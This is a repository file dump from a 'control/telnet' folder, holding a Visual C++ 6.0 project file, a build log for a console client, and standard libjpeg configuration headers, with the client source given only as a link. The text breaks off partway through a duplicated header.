/control/telnet/Debug/client.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/Debug/client.obj -------------------------------------------------------------------------------- /control/telnet/Debug/client.pch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/Debug/client.pch -------------------------------------------------------------------------------- /control/telnet/Debug/client.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/Debug/client.pdb -------------------------------------------------------------------------------- /control/telnet/Debug/vc60.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/Debug/vc60.idb -------------------------------------------------------------------------------- /control/telnet/Debug/vc60.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/Debug/vc60.pdb -------------------------------------------------------------------------------- /control/telnet/client.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/client.cpp -------------------------------------------------------------------------------- /control/telnet/client.dsp: -------------------------------------------------------------------------------- 1 | # Microsoft Developer Studio Project File - Name="client" - Package Owner=<4> 2 | # Microsoft Developer Studio Generated Build File, Format Version 6.00 3 | # ** DO NOT EDIT ** 4 | 5 | # TARGTYPE "Win32 (x86) Console Application" 0x0103 6 | 7 | CFG=client - Win32 Debug 8 | !MESSAGE This is not a valid makefile. To build this project using NMAKE, 9 | !MESSAGE use the Export Makefile command and run 10 | !MESSAGE 11 | !MESSAGE NMAKE /f "client.mak". 12 | !MESSAGE 13 | !MESSAGE You can specify a configuration when running NMAKE 14 | !MESSAGE by defining the macro CFG on the command line. For example: 15 | !MESSAGE 16 | !MESSAGE NMAKE /f "client.mak" CFG="client - Win32 Debug" 17 | !MESSAGE 18 | !MESSAGE Possible choices for configuration are: 19 | !MESSAGE 20 | !MESSAGE "client - Win32 Release" (based on "Win32 (x86) Console Application") 21 | !MESSAGE "client - Win32 Debug" (based on "Win32 (x86) Console Application") 22 | !MESSAGE 23 | 24 | # Begin Project 25 | # PROP AllowPerConfigDependencies 0 26 | # PROP Scc_ProjName "" 27 | # PROP Scc_LocalPath "" 28 | CPP=cl.exe 29 | RSC=rc.exe 30 | 31 | !IF "$(CFG)" == "client - Win32 Release" 32 | 33 | # PROP BASE Use_MFC 0 34 | # PROP BASE Use_Debug_Libraries 0 35 | # PROP BASE Output_Dir "Release" 36 | # PROP BASE Intermediate_Dir "Release" 37 | # PROP BASE Target_Dir "" 38 | # PROP Use_MFC 0 39 | # PROP Use_Debug_Libraries 0 40 | # PROP Output_Dir "Release" 41 | # PROP Intermediate_Dir "Release" 42 | # PROP Target_Dir "" 43 | # ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c 44 | # ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c 45 | # ADD BASE RSC /l 0x804 /d "NDEBUG" 46 | # ADD RSC /l 0x804 /d "NDEBUG" 47 | BSC32=bscmake.exe 48 | # ADD BASE BSC32 /nologo 49 | # ADD BSC32 /nologo 50 | LINK32=link.exe 51 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 52 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 53 | 54 | !ELSEIF "$(CFG)" == "client - Win32 Debug" 55 | 56 | # PROP BASE Use_MFC 0 57 | # PROP BASE Use_Debug_Libraries 1 58 | # PROP BASE Output_Dir "Debug" 59 | # PROP BASE Intermediate_Dir "Debug" 60 | # PROP BASE Target_Dir "" 61 | # PROP Use_MFC 0 62 | # PROP Use_Debug_Libraries 1 63 | # PROP Output_Dir "Debug" 64 | # PROP Intermediate_Dir "Debug" 65 | # PROP Target_Dir "" 66 | # ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c 67 | # ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c 68 | # ADD BASE RSC /l 0x804 /d "_DEBUG" 69 | # ADD RSC /l 0x804 /d "_DEBUG" 70 | BSC32=bscmake.exe 71 | # ADD BASE BSC32 /nologo 72 | # ADD BSC32 /nologo 73 | LINK32=link.exe 74 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept 75 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept 76 | 77 | !ENDIF 78 | 79 | # Begin Target 80 | 81 | # Name "client - Win32 Release" 82 | # Name "client - Win32 Debug" 83 | # Begin Source File 84 | 85 | SOURCE=.\client.cpp 86 | # End Source File 87 | # End Target 88 | # End Project 89 | -------------------------------------------------------------------------------- /control/telnet/client.dsw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/client.dsw -------------------------------------------------------------------------------- /control/telnet/client.ncb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/client.ncb -------------------------------------------------------------------------------- /control/telnet/client.opt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/client.opt -------------------------------------------------------------------------------- /control/telnet/client.plg: -------------------------------------------------------------------------------- 1 | 2 | 3 |
 4 | 

Build Log

5 |

6 | --------------------Configuration: client - Win32 Debug-------------------- 7 |

8 |

Command Lines

9 | Creating temporary file "C:\Users\ADMINI~1\AppData\Local\Temp\RSP732D.tmp" with contents 10 | [ 11 | /nologo /MLd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /Fp"Debug/client.pch" /YX /Fo"Debug/" /Fd"Debug/" /FD /GZ /c 12 | "F:\GitHub\control\telnet\client.cpp" 13 | ] 14 | Creating command line "cl.exe @C:\Users\ADMINI~1\AppData\Local\Temp\RSP732D.tmp" 15 | Creating temporary file "C:\Users\ADMINI~1\AppData\Local\Temp\RSP732E.tmp" with contents 16 | [ 17 | kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /incremental:yes /pdb:"Debug/client.pdb" /debug /machine:I386 /out:"Debug/client.exe" /pdbtype:sept 18 | .\Debug\client.obj 19 | ] 20 | Creating command line "link.exe @C:\Users\ADMINI~1\AppData\Local\Temp\RSP732E.tmp" 21 |

Output Window

22 | Compiling... 23 | client.cpp 24 | F:\GitHub\control\telnet\client.cpp(142) : warning C4101: 'rq' : unreferenced local variable 25 | Linking... 26 | LINK : warning LNK4098: defaultlib "LIBCMT" conflicts with use of other libs; use /NODEFAULTLIB:library 27 | 28 | 29 | 30 |

Results

31 | client.exe - 0 error(s), 0 warning(s) 32 |
33 | 34 | 35 | -------------------------------------------------------------------------------- /control/telnet/jconfig.h: -------------------------------------------------------------------------------- 1 | /* jconfig.vc --- jconfig.h for Microsoft Visual C++ on Windows 95 or NT. */ 2 | /* see jconfig.txt for explanations */ 3 | 4 | #define HAVE_PROTOTYPES 5 | #define HAVE_UNSIGNED_CHAR 6 | #define HAVE_UNSIGNED_SHORT 7 | /* #define void char */ 8 | /* #define const */ 9 | #undef CHAR_IS_UNSIGNED 10 | #define HAVE_STDDEF_H 11 | #define HAVE_STDLIB_H 12 | #undef NEED_BSD_STRINGS 13 | #undef NEED_SYS_TYPES_H 14 | #undef NEED_FAR_POINTERS /* we presume a 32-bit flat memory model */ 15 | #undef NEED_SHORT_EXTERNAL_NAMES 16 | #undef INCOMPLETE_TYPES_BROKEN 17 | 18 | /* Define "boolean" as unsigned char, not enum, per Windows custom */ 19 | #ifndef __RPCNDR_H__ /* don't conflict if rpcndr.h already read */ 20 | typedef unsigned char boolean; 21 | #endif 22 | #define HAVE_BOOLEAN /* prevent jmorecfg.h from redefining it */ 23 | 24 | 25 | #ifdef JPEG_INTERNALS 26 | 27 | #undef RIGHT_SHIFT_IS_UNSIGNED 28 | 29 | #endif /* JPEG_INTERNALS */ 30 | 31 | #ifdef JPEG_CJPEG_DJPEG 32 | 33 | #define BMP_SUPPORTED /* BMP image file format */ 34 | #define GIF_SUPPORTED /* GIF image file format */ 35 | #define PPM_SUPPORTED /* PBMPLUS PPM/PGM image file format */ 36 | #undef RLE_SUPPORTED /* Utah RLE image file format */ 37 | #define TARGA_SUPPORTED /* Targa image file format */ 38 | 39 | #define TWO_FILE_COMMANDLINE /* optional */ 40 | #define USE_SETMODE /* Microsoft has setmode() */ 41 | #undef NEED_SIGNAL_CATCHER 42 | #undef DONT_USE_B_MODE 43 | #undef PROGRESS_REPORT /* optional */ 44 | 45 | #endif /* JPEG_CJPEG_DJPEG */ 46 | -------------------------------------------------------------------------------- /control/telnet/jmorecfg.h: -------------------------------------------------------------------------------- 1 | /* 2 | * jmorecfg.h 3 | * 4 | * Copyright (C) 1991-1997, Thomas G. Lane. 5 | * Modified 1997-2012 by Guido Vollbeding. 6 | * This file is part of the Independent JPEG Group's software. 7 | * For conditions of distribution and use, see the accompanying README file. 8 | * 9 | * This file contains additional configuration options that customize the 10 | * JPEG software for special applications or support machine-dependent 11 | * optimizations. Most users will not need to touch this file. 12 | */ 13 | 14 | 15 | /* 16 | * Define BITS_IN_JSAMPLE as either 17 | * 8 for 8-bit sample values (the usual setting) 18 | * 12 for 12-bit sample values 19 | * Only 8 and 12 are legal data precisions for lossy JPEG according to the 20 | * JPEG standard, and the IJG code does not support anything else! 21 | * We do not support run-time selection of data precision, sorry. 22 | */ 23 | 24 | #define BITS_IN_JSAMPLE 8 /* use 8 or 12 */ 25 | 26 | 27 | /* 28 | * Maximum number of components (color channels) allowed in JPEG image. 29 | * To meet the letter of the JPEG spec, set this to 255. However, darn 30 | * few applications need more than 4 channels (maybe 5 for CMYK + alpha 31 | * mask). We recommend 10 as a reasonable compromise; use 4 if you are 32 | * really short on memory. (Each allowed component costs a hundred or so 33 | * bytes of storage, whether actually used in an image or not.) 34 | */ 35 | 36 | #define MAX_COMPONENTS 10 /* maximum number of image components */ 37 | 38 | 39 | /* 40 | * Basic data types. 41 | * You may need to change these if you have a machine with unusual data 42 | * type sizes; for example, "char" not 8 bits, "short" not 16 bits, 43 | * or "long" not 32 bits. We don't care whether "int" is 16 or 32 bits, 44 | * but it had better be at least 16. 45 | */ 46 | 47 | /* Representation of a single sample (pixel element value). 48 | * We frequently allocate large arrays of these, so it's important to keep 49 | * them small. But if you have memory to burn and access to char or short 50 | * arrays is very slow on your hardware, you might want to change these. 51 | */ 52 | 53 | #if BITS_IN_JSAMPLE == 8 54 | /* JSAMPLE should be the smallest type that will hold the values 0..255. 55 | * You can use a signed char by having GETJSAMPLE mask it with 0xFF. 56 | */ 57 | 58 | #ifdef HAVE_UNSIGNED_CHAR 59 | 60 | typedef unsigned char JSAMPLE; 61 | #define GETJSAMPLE(value) ((int) (value)) 62 | 63 | #else /* not HAVE_UNSIGNED_CHAR */ 64 | 65 | typedef char JSAMPLE; 66 | #ifdef CHAR_IS_UNSIGNED 67 | #define GETJSAMPLE(value) ((int) (value)) 68 | #else 69 | #define GETJSAMPLE(value) ((int) (value) & 0xFF) 70 | #endif /* CHAR_IS_UNSIGNED */ 71 | 72 | #endif /* HAVE_UNSIGNED_CHAR */ 73 | 74 | #define MAXJSAMPLE 255 75 | #define CENTERJSAMPLE 128 76 | 77 | #endif /* BITS_IN_JSAMPLE == 8 */ 78 | 79 | 80 | #if BITS_IN_JSAMPLE == 12 81 | /* JSAMPLE should be the smallest type that will hold the values 0..4095. 82 | * On nearly all machines "short" will do nicely. 83 | */ 84 | 85 | typedef short JSAMPLE; 86 | #define GETJSAMPLE(value) ((int) (value)) 87 | 88 | #define MAXJSAMPLE 4095 89 | #define CENTERJSAMPLE 2048 90 | 91 | #endif /* BITS_IN_JSAMPLE == 12 */ 92 | 93 | 94 | /* Representation of a DCT frequency coefficient. 95 | * This should be a signed value of at least 16 bits; "short" is usually OK. 96 | * Again, we allocate large arrays of these, but you can change to int 97 | * if you have memory to burn and "short" is really slow. 98 | */ 99 | 100 | typedef short JCOEF; 101 | 102 | 103 | /* Compressed datastreams are represented as arrays of JOCTET. 104 | * These must be EXACTLY 8 bits wide, at least once they are written to 105 | * external storage. Note that when using the stdio data source/destination 106 | * managers, this is also the data type passed to fread/fwrite. 107 | */ 108 | 109 | #ifdef HAVE_UNSIGNED_CHAR 110 | 111 | typedef unsigned char JOCTET; 112 | #define GETJOCTET(value) (value) 113 | 114 | #else /* not HAVE_UNSIGNED_CHAR */ 115 | 116 | typedef char JOCTET; 117 | #ifdef CHAR_IS_UNSIGNED 118 | #define GETJOCTET(value) (value) 119 | #else 120 | #define GETJOCTET(value) ((value) & 0xFF) 121 | #endif /* CHAR_IS_UNSIGNED */ 122 | 123 | #endif /* HAVE_UNSIGNED_CHAR */ 124 | 125 | 126 | /* These typedefs are used for various table entries and so forth. 127 | * They must be at least as wide as specified; but making them too big 128 | * won't cost a huge amount of memory, so we don't provide special 129 | * extraction code like we did for JSAMPLE. (In other words, these 130 | * typedefs live at a different point on the speed/space tradeoff curve.) 131 | */ 132 | 133 | /* UINT8 must hold at least the values 0..255. */ 134 | 135 | #ifdef HAVE_UNSIGNED_CHAR 136 | typedef unsigned char UINT8; 137 | #else /* not HAVE_UNSIGNED_CHAR */ 138 | #ifdef CHAR_IS_UNSIGNED 139 | typedef char UINT8; 140 | #else /* not CHAR_IS_UNSIGNED */ 141 | typedef short UINT8; 142 | #endif /* CHAR_IS_UNSIGNED */ 143 | #endif /* HAVE_UNSIGNED_CHAR */ 144 | 145 | /* UINT16 must hold at least the values 0..65535. */ 146 | 147 | #ifdef HAVE_UNSIGNED_SHORT 148 | typedef unsigned short UINT16; 149 | #else /* not HAVE_UNSIGNED_SHORT */ 150 | typedef unsigned int UINT16; 151 | #endif /* HAVE_UNSIGNED_SHORT */ 152 | 153 | /* INT16 must hold at least the values -32768..32767. */ 154 | 155 | #ifndef XMD_H /* X11/xmd.h correctly defines INT16 */ 156 | typedef short INT16; 157 | #endif 158 | 159 | /* INT32 must hold at least signed 32-bit values. */ 160 | 161 | #ifndef XMD_H /* X11/xmd.h correctly defines INT32 */ 162 | #ifndef _BASETSD_H_ /* Microsoft defines it in basetsd.h */ 163 | #ifndef _BASETSD_H /* MinGW is slightly different */ 164 | #ifndef QGLOBAL_H /* Qt defines it in qglobal.h */ 165 | typedef long INT32; 166 | #endif 167 | #endif 168 | #endif 169 | #endif 170 | 171 | /* Datatype used for image dimensions. The JPEG standard only supports 172 | * images up to 64K*64K due to 16-bit fields in SOF markers. Therefore 173 | * "unsigned int" is sufficient on all machines. However, if you need to 174 | * handle larger images and you don't mind deviating from the spec, you 175 | * can change this datatype. 176 | */ 177 | 178 | typedef unsigned int JDIMENSION; 179 | 180 | #define JPEG_MAX_DIMENSION 65500L /* a tad under 64K to prevent overflows */ 181 | 182 | 183 | /* These macros are used in all function definitions and extern declarations. 184 | * You could modify them if you need to change function linkage conventions; 185 | * in particular, you'll need to do that to make the library a Windows DLL. 186 | * Another application is to make all functions global for use with debuggers 187 | * or code profilers that require it. 188 | */ 189 | 190 | /* a function called through method pointers: */ 191 | #define METHODDEF(type) static type 192 | /* a function used only in its module: */ 193 | #define LOCAL(type) static type 194 | /* a function referenced thru EXTERNs: */ 195 | #define GLOBAL(type) type 196 | /* a reference to a GLOBAL function: */ 197 | #define EXTERN(type) extern type 198 | 199 | 200 | /* This macro is used to declare a "method", that is, a function pointer. 201 | * We want to supply prototype parameters if the compiler can cope. 202 | * Note that the arglist parameter must be parenthesized! 203 | * Again, you can customize this if you need special linkage keywords. 204 | */ 205 | 206 | #ifdef HAVE_PROTOTYPES 207 | #define JMETHOD(type,methodname,arglist) type (*methodname) arglist 208 | #else 209 | #define JMETHOD(type,methodname,arglist) type (*methodname) () 210 | #endif 211 | 212 | 213 | /* The noreturn type identifier is used to declare functions 214 | * which cannot return. 215 | * Compilers can thus create more optimized code and perform 216 | * better checks for warnings and errors. 217 | * Static analyzer tools can make improved inferences about 218 | * execution paths and are prevented from giving false alerts. 219 | * 220 | * Unfortunately, the proposed specifications of corresponding 221 | * extensions in the Dec 2011 ISO C standard revision (C11), 222 | * GCC, MSVC, etc. are not viable. 223 | * Thus we introduce a user defined type to declare noreturn 224 | * functions at least for clarity. A proper compiler would 225 | * have a suitable noreturn type to match in place of void. 226 | */ 227 | 228 | #ifndef HAVE_NORETURN_T 229 | typedef void noreturn_t; 230 | #endif 231 | 232 | 233 | /* Here is the pseudo-keyword for declaring pointers that must be "far" 234 | * on 80x86 machines. Most of the specialized coding for 80x86 is handled 235 | * by just saying "FAR *" where such a pointer is needed. In a few places 236 | * explicit coding is needed; see uses of the NEED_FAR_POINTERS symbol. 237 | */ 238 | 239 | #ifndef FAR 240 | #ifdef NEED_FAR_POINTERS 241 | #define FAR far 242 | #else 243 | #define FAR 244 | #endif 245 | #endif 246 | 247 | 248 | /* 249 | * On a few systems, type boolean and/or its values FALSE, TRUE may appear 250 | * in standard header files. Or you may have conflicts with application- 251 | * specific header files that you want to include together with these files. 252 | * Defining HAVE_BOOLEAN before including jpeglib.h should make it work. 253 | */ 254 | 255 | #ifdef HAVE_BOOLEAN 256 | #ifndef FALSE /* in case these macros already exist */ 257 | #define FALSE 0 /* values of boolean */ 258 | #endif 259 | #ifndef TRUE 260 | #define TRUE 1 261 | #endif 262 | #else 263 | typedef enum { FALSE = 0, TRUE = 1 } boolean; 264 | #endif 265 | 266 | 267 | /* 268 | * The remaining options affect code selection within the JPEG library, 269 | * but they don't need to be visible to most applications using the library. 270 | * To minimize application namespace pollution, the symbols won't be 271 | * defined unless JPEG_INTERNALS or JPEG_INTERNAL_OPTIONS has been defined. 272 | */ 273 | 274 | #ifdef JPEG_INTERNALS 275 | #define JPEG_INTERNAL_OPTIONS 276 | #endif 277 | 278 | #ifdef JPEG_INTERNAL_OPTIONS 279 | 280 | 281 | /* 282 | * These defines indicate whether to include various optional functions. 283 | * Undefining some of these symbols will produce a smaller but less capable 284 | * library. Note that you can leave certain source files out of the 285 | * compilation/linking process if you've #undef'd the corresponding symbols. 286 | * (You may HAVE to do that if your compiler doesn't like null source files.) 287 | */ 288 | 289 | /* Capability options common to encoder and decoder: */ 290 | 291 | #define DCT_ISLOW_SUPPORTED /* slow but accurate integer algorithm */ 292 | #define DCT_IFAST_SUPPORTED /* faster, less accurate integer method */ 293 | #define DCT_FLOAT_SUPPORTED /* floating-point: accurate, fast on fast HW */ 294 | 295 | /* Encoder capability options: */ 296 | 297 | #define C_ARITH_CODING_SUPPORTED /* Arithmetic coding back end? */ 298 | #define C_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */ 299 | #define C_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/ 300 | #define DCT_SCALING_SUPPORTED /* Input rescaling via DCT? (Requires DCT_ISLOW)*/ 301 | #define ENTROPY_OPT_SUPPORTED /* Optimization of entropy coding parms? */ 302 | /* Note: if you selected 12-bit data precision, it is dangerous to turn off 303 | * ENTROPY_OPT_SUPPORTED. The standard Huffman tables are only good for 8-bit 304 | * precision, so jchuff.c normally uses entropy optimization to compute 305 | * usable tables for higher precision. If you don't want to do optimization, 306 | * you'll have to supply different default Huffman tables. 307 | * The exact same statements apply for progressive JPEG: the default tables 308 | * don't work for progressive mode. (This may get fixed, however.) 309 | */ 310 | #define INPUT_SMOOTHING_SUPPORTED /* Input image smoothing option? */ 311 | 312 | /* Decoder capability options: */ 313 | 314 | #define D_ARITH_CODING_SUPPORTED /* Arithmetic coding back end? */ 315 | #define D_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */ 316 | #define D_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/ 317 | #define IDCT_SCALING_SUPPORTED /* Output rescaling via IDCT? */ 318 | #define SAVE_MARKERS_SUPPORTED /* jpeg_save_markers() needed? */ 319 | #define BLOCK_SMOOTHING_SUPPORTED /* Block smoothing? (Progressive only) */ 320 | #undef UPSAMPLE_SCALING_SUPPORTED /* Output rescaling at upsample stage? */ 321 | #define UPSAMPLE_MERGING_SUPPORTED /* Fast path for sloppy upsampling? */ 322 | #define QUANT_1PASS_SUPPORTED /* 1-pass color quantization? */ 323 | #define QUANT_2PASS_SUPPORTED /* 2-pass color quantization? */ 324 | 325 | /* more capability options later, no doubt */ 326 | 327 | 328 | /* 329 | * Ordering of RGB data in scanlines passed to or from the application. 330 | * If your application wants to deal with data in the order B,G,R, just 331 | * change these macros. You can also deal with formats such as R,G,B,X 332 | * (one extra byte per pixel) by changing RGB_PIXELSIZE. Note that changing 333 | * the offsets will also change the order in which colormap data is organized. 334 | * RESTRICTIONS: 335 | * 1. The sample applications cjpeg,djpeg do NOT support modified RGB formats. 336 | * 2. The color quantizer modules will not behave desirably if RGB_PIXELSIZE 337 | * is not 3 (they don't understand about dummy color components!). So you 338 | * can't use color quantization if you change that value. 339 | */ 340 | 341 | #define RGB_RED 0 /* Offset of Red in an RGB scanline element */ 342 | #define RGB_GREEN 1 /* Offset of Green */ 343 | #define RGB_BLUE 2 /* Offset of Blue */ 344 | #define RGB_PIXELSIZE 3 /* JSAMPLEs per RGB scanline element */ 345 | 346 | 347 | /* Definitions for speed-related optimizations. */ 348 | 349 | 350 | /* If your compiler supports inline functions, define INLINE 351 | * as the inline keyword; otherwise define it as empty. 352 | */ 353 | 354 | #ifndef INLINE 355 | #ifdef __GNUC__ /* for instance, GNU C knows about inline */ 356 | #define INLINE __inline__ 357 | #endif 358 | #ifndef INLINE 359 | #define INLINE /* default is to define it as empty */ 360 | #endif 361 | #endif 362 | 363 | 364 | /* On some machines (notably 68000 series) "int" is 32 bits, but multiplying 365 | * two 16-bit shorts is faster than multiplying two ints. Define MULTIPLIER 366 | * as short on such a machine. MULTIPLIER must be at least 16 bits wide. 367 | */ 368 | 369 | #ifndef MULTIPLIER 370 | #define MULTIPLIER int /* type for fastest integer multiply */ 371 | #endif 372 | 373 | 374 | /* FAST_FLOAT should be either float or double, whichever is done faster 375 | * by your compiler. (Note that this type is only used in the floating point 376 | * DCT routines, so it only matters if you've defined DCT_FLOAT_SUPPORTED.) 377 | * Typically, float is faster in ANSI C compilers, while double is faster in 378 | * pre-ANSI compilers (because they insist on converting to double anyway). 379 | * The code below therefore chooses float if we have ANSI-style prototypes. 380 | */ 381 | 382 | #ifndef FAST_FLOAT 383 | #ifdef HAVE_PROTOTYPES 384 | #define FAST_FLOAT float 385 | #else 386 | #define FAST_FLOAT double 387 | #endif 388 | #endif 389 | 390 | #endif /* JPEG_INTERNAL_OPTIONS */ 391 | -------------------------------------------------------------------------------- /control/telnet/libjpeg/jconfig.h: -------------------------------------------------------------------------------- 1 | /* jconfig.vc --- jconfig.h for Microsoft Visual C++ on Windows 95 or NT. */ 2 | /* see jconfig.txt for explanations */ 3 | 4 | #define HAVE_PROTOTYPES 5 | #define HAVE_UNSIGNED_CHAR 6 | #define HAVE_UNSIGNED_SHORT 7 | /* #define void char */ 8 | /* #define const */ 9 | #undef CHAR_IS_UNSIGNED 10 | #define HAVE_STDDEF_H 11 | #define HAVE_STDLIB_H 12 | #undef NEED_BSD_STRINGS 13 | #undef NEED_SYS_TYPES_H 14 | #undef NEED_FAR_POINTERS /* we presume a 32-bit flat memory model */ 15 | #undef NEED_SHORT_EXTERNAL_NAMES 16 | #undef INCOMPLETE_TYPES_BROKEN 17 | 18 | /* Define "boolean" as unsigned char, not enum, per Windows custom */ 19 | #ifndef __RPCNDR_H__ /* don't conflict if rpcndr.h already read */ 20 | typedef unsigned char boolean; 21 | #endif 22 | #define HAVE_BOOLEAN /* prevent jmorecfg.h from redefining it */ 23 | 24 | 25 | #ifdef JPEG_INTERNALS 26 | 27 | #undef RIGHT_SHIFT_IS_UNSIGNED 28 | 29 | #endif /* JPEG_INTERNALS */ 30 | 31 | #ifdef JPEG_CJPEG_DJPEG 32 | 33 | #define BMP_SUPPORTED /* BMP image file format */ 34 | #define GIF_SUPPORTED /* GIF image file format */ 35 | #define PPM_SUPPORTED /* PBMPLUS PPM/PGM image file format */ 36 | #undef RLE_SUPPORTED /* Utah RLE image file format */ 37 | #define TARGA_SUPPORTED /* Targa image file format */ 38 | 39 | #define TWO_FILE_COMMANDLINE /* optional */ 40 | #define USE_SETMODE /* Microsoft has setmode() */ 41 | #undef NEED_SIGNAL_CATCHER 42 | #undef DONT_USE_B_MODE 43 | #undef PROGRESS_REPORT /* optional */ 44 | 45 | #endif /* JPEG_CJPEG_DJPEG */ 46 | -------------------------------------------------------------------------------- /control/telnet/libjpeg/jmorecfg.h: -------------------------------------------------------------------------------- 1 | /* 2 | * jmorecfg.h 3 | * 4 | * Copyright (C) 1991-1997, Thomas G. Lane. 5 | * Modified 1997-2012 by Guido Vollbeding. 6 | * This file is part of the Independent JPEG Group's software. 7 | * For conditions of distribution and use, see the accompanying README file. 8 | * 9 | * This file contains additional configuration options that customize the 10 | * JPEG software for special applications or support machine-dependent 11 | * optimizations. Most users will not need to touch this file. 12 | */ 13 | 14 | 15 | /* 16 | * Define BITS_IN_JSAMPLE as either 17 | * 8 for 8-bit sample values (the usual setting) 18 | * 12 for 12-bit sample values 19 | * Only 8 and 12 are legal data precisions for lossy JPEG according to the 20 | * JPEG standard, and the IJG code does not support anything else! 21 | * We do not support run-time selection of data precision, sorry. 22 | */ 23 | 24 | #define BITS_IN_JSAMPLE 8 /* use 8 or 12 */ 25 | 26 | 27 | /* 28 | * Maximum number of components (color channels) allowed in JPEG image. 29 | * To meet the letter of the JPEG spec, set this to 255. However, darn 30 | * few applications need more than 4 channels (maybe 5 for CMYK + alpha 31 | * mask). We recommend 10 as a reasonable compromise; use 4 if you are 32 | * really short on memory. (Each allowed component costs a hundred or so 33 | * bytes of storage, whether actually used in an image or not.) 34 | */ 35 | 36 | #define MAX_COMPONENTS 10 /* maximum number of image components */ 37 | 38 | 39 | /* 40 | * Basic data types. 41 | * You may need to change these if you have a machine with unusual data 42 | * type sizes; for example, "char" not 8 bits, "short" not 16 bits, 43 | * or "long" not 32 bits. We don't care whether "int" is 16 or 32 bits, 44 | * but it had better be at least 16. 45 | */ 46 | 47 | /* Representation of a single sample (pixel element value). 48 | * We frequently allocate large arrays of these, so it's important to keep 49 | * them small. But if you have memory to burn and access to char or short 50 | * arrays is very slow on your hardware, you might want to change these. 51 | */ 52 | 53 | #if BITS_IN_JSAMPLE == 8 54 | /* JSAMPLE should be the smallest type that will hold the values 0..255. 55 | * You can use a signed char by having GETJSAMPLE mask it with 0xFF. 56 | */ 57 | 58 | #ifdef HAVE_UNSIGNED_CHAR 59 | 60 | typedef unsigned char JSAMPLE; 61 | #define GETJSAMPLE(value) ((int) (value)) 62 | 63 | #else /* not HAVE_UNSIGNED_CHAR */ 64 | 65 | typedef char JSAMPLE; 66 | #ifdef CHAR_IS_UNSIGNED 67 | #define GETJSAMPLE(value) ((int) (value)) 68 | #else 69 | #define GETJSAMPLE(value) ((int) (value) & 0xFF) 70 | #endif /* CHAR_IS_UNSIGNED */ 71 | 72 | #endif /* HAVE_UNSIGNED_CHAR */ 73 | 74 | #define MAXJSAMPLE 255 75 | #define CENTERJSAMPLE 128 76 | 77 | #endif /* BITS_IN_JSAMPLE == 8 */ 78 | 79 | 80 | #if BITS_IN_JSAMPLE == 12 81 | /* JSAMPLE should be the smallest type that will hold the values 0..4095. 82 | * On nearly all machines "short" will do nicely. 83 | */ 84 | 85 | typedef short JSAMPLE; 86 | #define GETJSAMPLE(value) ((int) (value)) 87 | 88 | #define MAXJSAMPLE 4095 89 | #define CENTERJSAMPLE 2048 90 | 91 | #endif /* BITS_IN_JSAMPLE == 12 */ 92 | 93 | 94 | /* Representation of a DCT frequency coefficient. 95 | * This should be a signed value of at least 16 bits; "short" is usually OK. 96 | * Again, we allocate large arrays of these, but you can change to int 97 | * if you have memory to burn and "short" is really slow. 98 | */ 99 | 100 | typedef short JCOEF; 101 | 102 | 103 | /* Compressed datastreams are represented as arrays of JOCTET. 104 | * These must be EXACTLY 8 bits wide, at least once they are written to 105 | * external storage. Note that when using the stdio data source/destination 106 | * managers, this is also the data type passed to fread/fwrite. 107 | */ 108 | 109 | #ifdef 